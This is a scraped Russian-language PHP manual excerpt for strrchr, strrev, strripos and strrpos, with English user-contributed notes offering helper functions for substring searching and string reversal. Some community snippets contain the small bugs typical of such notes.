function strpos_array($haystack, $needles) {
    if ( is_array($needles) ) {
        foreach ($needles as $str) {
            if ( is_array($str) ) {
                $pos = strpos_array($haystack, $str);
            } else {
                $pos = strpos($haystack, $str);
            }
            if ($pos !== FALSE) {
                return $pos;
            }
        }
    } else {
        return strpos($haystack, $needles);
    }
}

// Test
echo strpos_array('This is a test', array('test', 'drive')); // Output is 10

?>
gambajaja at yahoo dot com 17-Aug-2010 03:25
<?php
$my_array = array ('100,101', '200,201', '300,301');
$check_me_in = array ('100','200','300','400');
foreach ($check_me_in as $value_cmi){
    $is_in=FALSE; #asume that $check_me_in isn't in $my_array
    foreach ($my_array as $value_my){
        $pos = strpos($value_my, $value_cmi);
        if ($pos===0)
            $pos++;
        if ($pos==TRUE){
            $is_in=TRUE;
            $value_my2=$value_my;
            }
    }
    if ($is_in) echo "ID $value_cmi in \$check_me_in I found in value '$value_my2' \n";
}
?>

The above example will output
ID 100 in $check_me_in I found in value '100,101'
ID 200 in $check_me_in I found in value '200,201'
ID 300 in $check_me_in I found in value '300,301'
usulaco at gmail dot com 11-Aug-2010 05:04
Parse strings between two others in to array.

<?php
function g($string,$start,$end){
     preg_match_all('/' . preg_quote($start, '/') . '(.*?)'. preg_quote($end, '/').'/i', $string, $m);
     $out = array();

     foreach($m[1] as $key => $value){
       $type = explode('::',$value);
       if(sizeof($type)>1){
          if(!is_array($out[$type[0]]))
             $out[$type[0]] = array();
          $out[$type[0]][] = $type[1];
       } else {
          $out[] = $value;
       }
     }
  return $out;
}
print_r(g('Sample text, [/text to extract/] Rest of sample text [/WEB::http://google.com/] bla bla bla. ','[/','/]'));
?>

results:
Array
(
    [0] => text to extract
    [WEB] => Array
        (
            [0] => http://google.com
        )

)

Can be helpfull to custom parsing :)
Achintya 06-Nov-2009 02:03
A function I made to find the first occurrence of a particular needle not enclosed in quotes(single or double). Works for simple nesting (no backslashed nesting allowed).

<?php
function strposq($haystack, $needle, $offset = 0){
    $len = strlen($haystack);
    $charlen = strlen($needle);
    $flag1 = false;
    $flag2 = false;
    for($i = $offset; $i < $len; $i++){
        if(substr($haystack, $i, 1) == "'"){
            $flag1 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, 1) == '"'){
            $flag2 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, $charlen) == $needle && !$flag1 && !$flag2){
            return $i;
        }
    }
    return false;
}

echo strposq("he'llo'character;\"'som\"e;crap", ";"); //16
?>
yasindagli at gmail dot com 05-Oct-2009 09:05
This function finds postion of nth occurence of a letter starting from offset.

<?php
function nth_position($str, $letter, $n, $offset = 0){
    $str_arr = str_split($str);
    $letter_size = array_count_values(str_split(substr($str, $offset)));
    if( !isset($letter_size[$letter])){
        trigger_error('letter "' . $letter . '" does not exist in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    } else if($letter_size[$letter] < $n) {
        trigger_error('letter "' . $letter . '" does not exist ' . $n .' times in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    }
    for($i = $offset, $x = 0, $count = (count($str_arr) - $offset); $i < $count, $x != $n; $i++){
        if($str_arr[$i] == $letter){
            $x++;
        }
    }
    return $i - 1;
}

echo nth_position('foobarbaz', 'a', 2); //7
echo nth_position('foobarbaz', 'b', 1, 4); //6
?>
digitalpbk [at] gmail.com 30-Sep-2009 08:37
This function raises a warning if the offset is not between 0 and the length of string:

Warning: strpos(): Offset not contained in string in %s on line %d
ah dot d at hotmail dot com 11-Aug-2009 01:29
A strpos modification to return an array of all the positions of a needle in the haystack

<?php
function strallpos($haystack,$needle,$offset = 0){
    $result = array();
    for($i = $offset; $i<strlen($haystack); $i++){
        $pos = strpos($haystack,$needle,$i);
        if($pos !== FALSE){
            $offset =  $pos;
            if($offset >= $i){
                $i = $offset;
                $result[] = $offset;
            }
        }
    }
    return $result;
}
?>

example:-

<?php
$haystack = "ASD is trying to get out of the ASDs cube but the other ASDs told him that his behavior will destroy the ASDs world";

$needle = "ASD";

print_r(strallpos($haystack,$needle));

//getting all the positions starting from a specified position

print_r(strallpos($haystack,$needle,34));
?>
teddanzig at yahoo dot com 23-Mar-2009 09:48
routine to return -1 if there is no match for strpos

<?php
//instr function to mimic vb instr fucntion
function InStr($haystack, $needle)
{
    $pos=strpos($haystack, $needle);
    if ($pos !== false)
    {
        return $pos;
    }
    else
    {
        return -1;
    }
}
?>
Tim 17-Nov-2008 05:52
If you would like to find all occurences of a needle inside a haystack you could use this function strposall($haystack,$needle);. It will return an array with all the strpos's.

<?php
/**
 * strposall
 *
 * Find all occurrences of a needle in a haystack
 *
 * @param string $haystack
 * @param string $needle
 * @return array or false
 */
function strposall($haystack,$needle){

    $s=0;
    $i=0;

    while (is_integer($i)){

        $i = strpos($haystack,$needle,$s);

        if (is_integer($i)) {
            $aStrPos[] = $i;
            $s = $i+strlen($needle);
        }
    }
    if (isset($aStrPos)) {
        return $aStrPos;
    }
    else {
        return false;
    }
}
?>
ilaymyhat-rem0ve at yahoo dot com 01-Apr-2008 04:17
This might be useful.

<?php
class String{

    //Look for a $needle in $haystack in any position
    public static function contains(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        return $result !== FALSE;
    }

    //intuitive implementation .. if not found returns -1.
    public static function strpos(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        if ($result === FALSE )
        {
            return -1;
        }
        return $result;
    }

}//String
?>
Suggested re-write for pink WARNING box 11-Jan-2008 03:45
WARNING

As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully.

To know that a substring is absent, you must use:

=== FALSE

To know that a substring is present (in any position including 0), you can use either of:

!== FALSE  (recommended)
 > -1  (note: or greater than any negative number)

To know that a substring is at the start of the string, you must use:

=== 0

To know that a substring is in any position other than the start, you can use any of:

 > 0  (recommended)
!= 0  (note: but not !== 0 which also equates to FALSE)
!= FALSE  (disrecommended as highly confusing)

Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false.
user at nomail dot com 15-May-2007 02:21
This is a bit more useful when scanning a large string for all occurances between 'tags'.

<?php
function getStrsBetween($s,$s1,$s2=false,$offset=0) {
    /*====================================================================
    Function to scan a string for items encapsulated within a pair of tags

    getStrsBetween(string, tag1, <tag2>, <offset>

    If no second tag is specified, then match between identical tags

    Returns an array indexed with the encapsulated text, which is in turn
    a sub-array, containing the position of each item.

    Notes:
    strpos($needle,$haystack,$offset)
    substr($string,$start,$length)

    ====================================================================*/

    if( $s2 === false ) { $s2 = $s1; }
    $result = array();
    $L1 = strlen($s1);
    $L2 = strlen($s2);

    if( $L1==0 || $L2==0 ) {
        return false;
    }

    do {
        $pos1 = strpos($s,$s1,$offset);

        if( $pos1 !== false ) {
            $pos1 += $L1;

            $pos2 = strpos($s,$s2,$pos1);

            if( $pos2 !== false ) {
                $key_len = $pos2 - $pos1;

                $this_key = substr($s,$pos1,$key_len);

                if( !array_key_exists($this_key,$result) ) {
                    $result[$this_key] = array();
                }

                $result[$this_key][] = $pos1;

                $offset = $pos2 + $L2;
            } else {
                $pos1 = false;
            }
        }
    } while($pos1 !== false );

    return $result;
}
?>
spinicrus at gmail dot com 14-Oct-2006 10:58
if you want to get the position of a substring relative to a substring of your string, BUT in REVERSE way:

<?php

function strpos_reverse_way($string,$charToFind,$relativeChar) {
    //
    $relativePos = strpos($string,$relativeChar);
    $searchPos = $relativePos;
    $searchChar = '';
    //
    while ($searchChar != $charToFind) {
        $newPos = $searchPos-1;
        $searchChar = substr($string,$newPos,strlen($charToFind));
        $searchPos = $newPos;
    }
    //
    if (!empty($searchChar)) {
        //
        return $searchPos;
        return TRUE;
    }
    else {
        return FALSE;
    }
    //
}

?>
philip 25-Aug-2004 03:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = false) {
    if ($insensitive) {
        return false !== stristr($haystack, $needle);
    } else {
        return false !== strpos($haystack, $needle);
    }
}
?>
bishop 21-Apr-2004 03:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
    echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
    if ($ignoreCase) {
        $haystack = strtolower($haystack);
        $needle   = strtolower($needle);
    }
    $needlePos = strpos($haystack, $needle);
    return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
    echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}
?>


Находит последнее вхождение символа в строке

  • « strpos
  • strrev »
  • PHP Manual
  • Функции для работы со строками
  • Находит последнее вхождение символа в строке

strrchr

(PHP 4, PHP 5, PHP 7, PHP 8)

strrchr — Находит последнее вхождение символа в строке

Описание

strrchr(string $haystack, string $needle, bool $before_needle = false): string|false

Возвращает подстроку строки haystack, начиная с последнего вхождения needle до конца строки.

Список параметров

haystack

Строка, в которой производится поиск

needle

Если needle состоит более чем из одного символа, используется только первый символ. Это поведение отличается от strstr().

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

before_needle

Если true, то функция strrchr() возвращает часть параметра haystack перед последним вхождением параметра needle (без учёта needle).

Возвращаемые значения

Функция возвращает фрагмент строки, или false, если подстрока needle не найдена.

Список изменений

Версия | Описание
8.3.0 | Добавлен параметр before_needle.
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в needle больше не поддерживается.
7.3.0 | Передача целого числа (int) в needle объявлена устаревшей.

Примеры

Пример #1 Пример использования strrchr()

<?php
$ext = strrchr('somefile.txt', '.');
echo "Расширение файла: $ext \n";
$ext = $ext ? strtolower(substr($ext, 1)) : '';
echo "Расширение файла: $ext";
?>

Вывод приведённого примера будет похож на:

Расширение файла: .txt
Расширение файла: txt

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strstr() - Находит первое вхождение подстроки
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке

User Contributed Notes

alex_bb23 at yahoo.co.uk 02-Aug-2017 08:32
I think that a good way (I don't know if is the best one) to extract a portion from a string:
<?php

$image = "image.name.jpg";
// get file extension
preg_replace("/.*\.(.*)$/", "$1", $last);
// will result: jpg

?>

Is faster that substr(strrchr...
matthewkastor at live dot com 30-Mar-2011 01:07
<?php
/**
 * Removes the preceeding or proceeding portion of a string
 * relative to the last occurrence of the specified character.
 * The character selected may be retained or discarded.
 *
 * Example usage:
 * <code>
 * $example = 'http://example.com/path/file.php';
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
 * foreach($cwd_relative as $string) {
 *     echo "$string <br>".PHP_EOL;
 * }
 * </code>
 *
 * Outputs:
 * <code>
 * http://example.com/path/
 * http://example.com/path
 * /file.php
 * file.php
 * </code>
 *
 * @param string $character the character to search for.
 * @param string $string the string to search through.
 * @param string $side determines whether text to the left or the right of the character is returned.
 * Options are: left, or right.
 * @param bool $keep_character determines whether or not to keep the character.
 * Options are: true, or false.
 * @return string
 */
function cut_string_using_last($character, $string, $side, $keep_character=true) {
    $offset = ($keep_character ? 1 : 0);
    $whole_length = strlen($string);
    $right_length = (strlen(strrchr($string, $character)) - 1);
    $left_length = ($whole_length - $right_length - 1);
    switch($side) {
        case 'left':
            $piece = substr($string, 0, ($left_length + $offset));
            break;
        case 'right':
            $start = (0 - ($right_length + $offset));
            $piece = substr($string, $start);
            break;
        default:
            $piece = false;
            break;
    }
    return($piece);
}
?>
readless at gmx dot net 06-Jun-2006 07:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
sekati at gmail dot com 08-Apr-2006 05:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
    return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com 24-Dec-2005 10:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
Primo Anderson Do S?tio 29-Jul-2005 10:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com 03-Apr-2005 11:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
                return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au 16-Feb-2004 07:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
    $pos = strrpos($haystack, $needle);
    if($pos === false) {
        return $haystack;
    }
    return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org 23-May-2003 04:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com 14-Apr-2003 12:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

    // Returns everything before $needle (inclusive).
    return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

echo strrrchr($string,")"); // Will print FIELD (9)

?>


Переворачивает строку задом наперёд

  • « strrchr
  • strripos »
  • PHP Manual
  • Функции для работы со строками
  • Переворачивает строку задом наперёд

strrev

(PHP 4, PHP 5, PHP 7, PHP 8)

strrev — Переворачивает строку задом наперёд

Описание

strrev(string $string): string

Возвращает строку string, перевёрнутую задом наперёд.

Список параметров

string

Переворачиваемая строка.

Возвращаемые значения

Возвращает перевёрнутую строку.

Примеры

Пример #1 Пример использования strrev()

<?php
echo strrev("Hello world!"); // выводит "!dlrow olleH"
?>

User Contributed Notes

manoj904378 at gmail dot com 18-Nov-2020 10:26
Inside of String Reverse  strrev()
--------------------------   -------
<?php
$string = 'This is manoj';
$n =strlen("$string");
For($i=1;$i<=$n;$i++)
{
    $val= $string[-$i];
   echo $val;
}
?>
info at ensostudio dot ru 25-Aug-2020 11:39
<?php
/**
 * Reverse a miltibyte string.
 *
 * @param string $string The string to be reversed.
 * @param string|null $encoding The character encoding. If it is omitted, the internal character encoding value
 *     will be used.
 * @return string The reversed string
 */
function mb_strrev(string $string, string $encoding = null): string
{
    $chars = mb_str_split($string, 1, $encoding ?: mb_internal_encoding());
    return implode('', array_reverse($chars));
}
?>
It's faster and flexible than tianyiw function (comment #122953)
tianyiw at vip dot qq dot com 17-Jul-2018 12:53
This function support utf-8 encoding, Human Language and Character Encoding Support:

<?php
function mb_strrev($str){
    $r = '';
    for ($i = mb_strlen($str); $i>=0; $i--) {
        $r .= mb_substr($str, $i, 1);
    }
    return $r;
}

echo mb_strrev("??world"); // echo "dlrow??"
?>


Возвращает позицию последнего вхождения подстроки без учёта регистра

  • « strrev
  • strrpos »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает позицию последнего вхождения подстроки без учёта регистра

strripos

(PHP 5, PHP 7, PHP 8)

strripos — Возвращает позицию последнего вхождения подстроки без учёта регистра

Описание

strripos(string $haystack, string $needle, int $offset = 0): int|false

Ищет позицию последнего вхождения подстроки needle в строку haystack.

В отличие от strrpos(), strripos() не учитывает регистр символов.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Строка для поиска.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

offset

Если равно или больше ноля, то поиск будет идти слева направо и, при этом, будут пропущены первые offset байт строки haystack.

Если меньше ноля, то поиск будет идти справа налево. При этом будут отброшены offset байт с конца haystack и найдено первое найденное вхождение needle.

Замечание:

Фактически это будет последнее вхождение needle без учёта offset последних байт.

Возвращаемые значения

Возвращает номер позиции последнего вхождения needle относительно начала строки haystack (независимо от направления поиска и смещения (offset)).

Замечание: Позиция в строке строки отсчитывается от 0, а не от 1.

Возвращает false, если искомая строка не найдена.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII. Байты, которые не относятся к кодировке ASCII, будут сравниваться по значению байта.
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в needle больше не поддерживается.
7.3.0 | Передача целого числа (int) в needle объявлена устаревшей.

Примеры

Пример #1 Пример использования strripos()

<?php
$haystack = 'ababcd';
$needle = 'aB';

$pos = strripos($haystack, $needle);

if ($pos === false) {
echo "К сожалению, ($needle) не найдена в ($haystack)";
} else {
echo "Поздравляем!\n";
echo "Последнее вхождение ($needle) найдено в ($haystack) в позиции ($pos)";
}
?>

Результат выполнения приведённого примера:

Поздравляем!
   Последнее вхождение (aB) найдено в (ababcd) в позиции (2)

Смотрите также

  • strpos() - Возвращает позицию первого вхождения подстроки
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strrchr() - Находит последнее вхождение символа в строке
  • stristr() - Регистронезависимый вариант функции strstr
  • substr() - Возвращает подстроку

User Contributed Notes

Anonymous 31-Aug-2010 01:05
Generally speaking, linear searches are from start to end, not end to start - which makes sense from a human perspective. If you need to find strings in a string backwards, reverse your haystack and needle rather than manually chopping it up.
admin at e-xxi dot net 08-Mar-2010 07:00
strripos() has very strange behaviour when you provide search position. For some reason it searches forward from the given position, instead of searching backward, that is more logical.

For example if you want to find instanse of $what, previous to the last, strripos($where, $what, $last_what_pos-1) will not wark as expected. It will return $last_what_pos again and again. And that has no sence at all.

To prevent this, I just used $prev_last_what_pos = strripos(substr($where,0,$last_what_pos), $what);
dimmav at in dot gr 25-Sep-2008 09:31
Suppose you just need a stripos function working backwards expecting that strripos does this job, you better use the following code of a custom function named strbipos:

<?php
function strbipos($haystack="", $needle="", $offset=0) {
// Search backwards in $haystack for $needle starting from $offset and return the position found or false

    $len = strlen($haystack);
    $pos = stripos(strrev($haystack), strrev($needle), $len - $offset - 1);
    return ( ($pos === false) ? false : $len - strlen($needle) - $pos );
}

// Test
$body = "01234Xy7890XYz456xy90";
$str = "xY";
$len = strlen($body);
echo "TEST POSITIVE offset VALUES IN strbipos<br>";
for ($i = 0; $i < $len; $i++) {
    echo "Search in [$body] for [$str] starting from offset [$i]: [" . strbipos($body, $str, $i) . "]<br>";
}
?>

Note that this function does exactly what it says and its results are different comparing to PHP 5 strripos function.
peev[dot]alexander at gmail dot com 20-Apr-2008 02:14
OK, I guess this will be the final function implementation for PHP 4.x versions ( my previous posts are invalid )

<?php

if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }/* endfunction stripos */
}/* endfunction exists stripos */

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }/* endfunction strripos */
}/* endfunction exists strripos */
?>
peev[dot]alexander at gmail dot com 17-Oct-2007 05:23
I think you shouldn't underestimate the length of $needle in the search of THE FIRST POSITION of it's last occurrence in the string. I improved the posted function, with added support for offset. I think this is an exact copy of the real function:

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
ElectroFox 02-Aug-2007 01:59
Sorry, I made that last post a bit prematurely.  One more thing wrong with the simple php4 version is that it breaks if the string is not found.  It should actually look like this:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        $pos = strlen($haystack) - strpos(strrev($haystack), strrev($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }
}
?>

Note, we now check to see if the $needle was found, and if it isn't, we return 0.
Yanik Lupien 03-Jul-2007 10:47
Simple way to implement this function in PHP 4

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), $needle);
    }
}

?>


Возвращает позицию последнего вхождения подстроки в строке

  • « strripos
  • strspn »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает позицию последнего вхождения подстроки в строке

strrpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strrpos — Возвращает позицию последнего вхождения подстроки в строке

Описание

strrpos(string $haystack, string $needle, int $offset = 0): int|false

Ищет позицию последнего вхождения подстроки needle в строку haystack.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Строка для поиска.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

offset

Если равно или больше ноля, то поиск будет идти слева направо и, при этом, будут пропущены первые offset байт строки haystack.

Если меньше ноля, то поиск начинается с offset байта справа, а не с начала haystack. Поиск выполняется справа налево, ищется первое вхождение needle от выбранного байта.

Замечание:

Фактически это будет последнее вхождение needle без учёта offset последних байт.

Возвращаемые значения

Возвращает номер позиции последнего вхождения needle относительно начала строки haystack (независимо от направления поиска и смещения (offset)).

Замечание: Позиция в строке строки отсчитывается от 0, а не от 1.

Возвращает false, если искомая строка не найдена.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в needle больше не поддерживается.
7.3.0 | Передача целого числа (int) в needle объявлена устаревшей.

Примеры

Пример #1 Проверка существования искомой строки

Легко ошибиться и перепутать возвращаемые значения в случаях "символ найден в нулевой позиции" и "символ не найден". Вот так можно узнать разницу:

<?php

$pos = strrpos($mystring, "b");
if ($pos === false) { // обратите внимание: три знака равенства
// не найдено...
}

?>

Пример #2 Поиск со смещением

<?php
$foo = "0123456789a123456789b123456789c";

var_dump(strrpos($foo, '7', -5)); // Поиск происходит в обратном направлении и
// начинается с пятой позиции с конца. Результат: int(17)

var_dump(strrpos($foo, '7', 20)); // Начинает поиск с 20 позиции в строке.
// Результат: int(27)

var_dump(strrpos($foo, '7', 28)); // Результат: bool(false)
?>

Результат выполнения приведённого примера:

int(0)
bool(false)
int(27)
bool(false)
int(17)
bool(false)
int(29)

Смотрите также

  • strpos() - Возвращает позицию первого вхождения подстроки
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strrchr() - Находит последнее вхождение символа в строке
  • substr() - Возвращает подстроку

User Contributed Notes

anonymous 29-Oct-2020 03:46
There is a lot of confusion around how $offset works and I feel it's really quite simple.

If $offset is positive, the operation ignores the first $offset characters of the haystack.
If $offset is negative, the operation ignores the last $offset-1 characters of the haystack (don't ask why -1...).

To understand this instinctively, just imagine the characters being replaced with invalid symbols. Here's an example:

<?php
$hackstack = '0123456789';

// Search the entire sequence 0123456789
var_dump(strrpos($hackstack, '0')); // int(0)
var_dump(strrpos($hackstack, '9')); // int(9)

// Only search ##23456789
var_dump(strrpos($hackstack, '1', 2)); // bool(false)
var_dump(strrpos($hackstack, '2', 2)); // int(2)

// Only search 0123456###
var_dump(strrpos($hackstack, '6', -4)); // int(6)
var_dump(strrpos($hackstack, '7', -4)); // bool(false)

?>
dave at pixelmetrics dot com 09-Jul-2019 10:22
The description of offset is wrong. Here's how it works, with supporting examples.

Offset effects both the starting point and stopping point of the search. The direction is always right to left. (The description wrongly says PHP searches left to right when offset is positive.)

Here's how it works:
When offset is positive, PHP searches right to left from the end of haystack to offset. This ignores the left side of haystack.

When offset is negative, PHP searches right to left, starting offset bytes from the end, to the start of haystack. This ignores the right side of haystack.

Example 1:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', 5));
Result: int(10)

Example 2:
$foo = "aaaaaa67890";
var_dump(strrpos($foo, 'a', 5));
Result: int(5)

Conclusion: When offset is positive, PHP searches right to left from the end of haystack.

Example 3:
$foo = "aaaaa567890";
var_dump(strrpos($foo, 'a', 5));
Result: bool(false)

Conclusion: When offset is positive, PHP stops searching at offset.

Example 4:
$foo = 'aaaaaaaaaa';
var_dump(strrpos($foo, 'a', -5));
Result: int(6)

Conclusion: When offset is negative, PHP searches right to left, starting offset bytes from the end.

Example 5:
$foo = "a234567890";
var_dump(strrpos($foo, 'a', -5));
Result: int(0)

Conclusion: When offset is negative, PHP searches right to left, all the way to the start of haystack.
david dot mann at djmann dot co dot uk 28-Mar-2018 02:16
Ten years on, Brian's note is still a good overview of how offsets work, but a shorter and simpler summary is:

    strrpos($x, $y, 50);  // 1: this tells strrpos() when to STOP, counting from the START of $x
    strrpos($x, $y, -50); // 2: this tells strrpos() when to START, counting from the END of $x

Or to put it another way, a positive number lets you search the rightmost section of the string, while a negative number lets you search the leftmost section of the string.

Both these variations are useful, but picking the wrong one can cause some highly confusing results!
stevewa 17-Oct-2016 07:25
i wanted to find a leading space BEFORE a hyphen

Crude Oil (Dec) 51.00-56.00

so I had to find the position of the hyphen

then subtract that position from the length of the string (to make it a negative number)
and then walk left toward the beginning of the string, looking for the first space before the hyphen

ex:
$str_position_hyphen  = strpos($line_new,"-",$str_position_spread);

$line_new_length = strlen($line_new);

$str_position_hyphen_from_end = $str_position_hyphen - $line_new_length;

echo "hyphen position from end = " . $str_position_hyphen_from_end . "<br />\n";

$str_position_space_before_hyphen  = strrpos($line_new, " ", $str_position_hyphen_from_end);

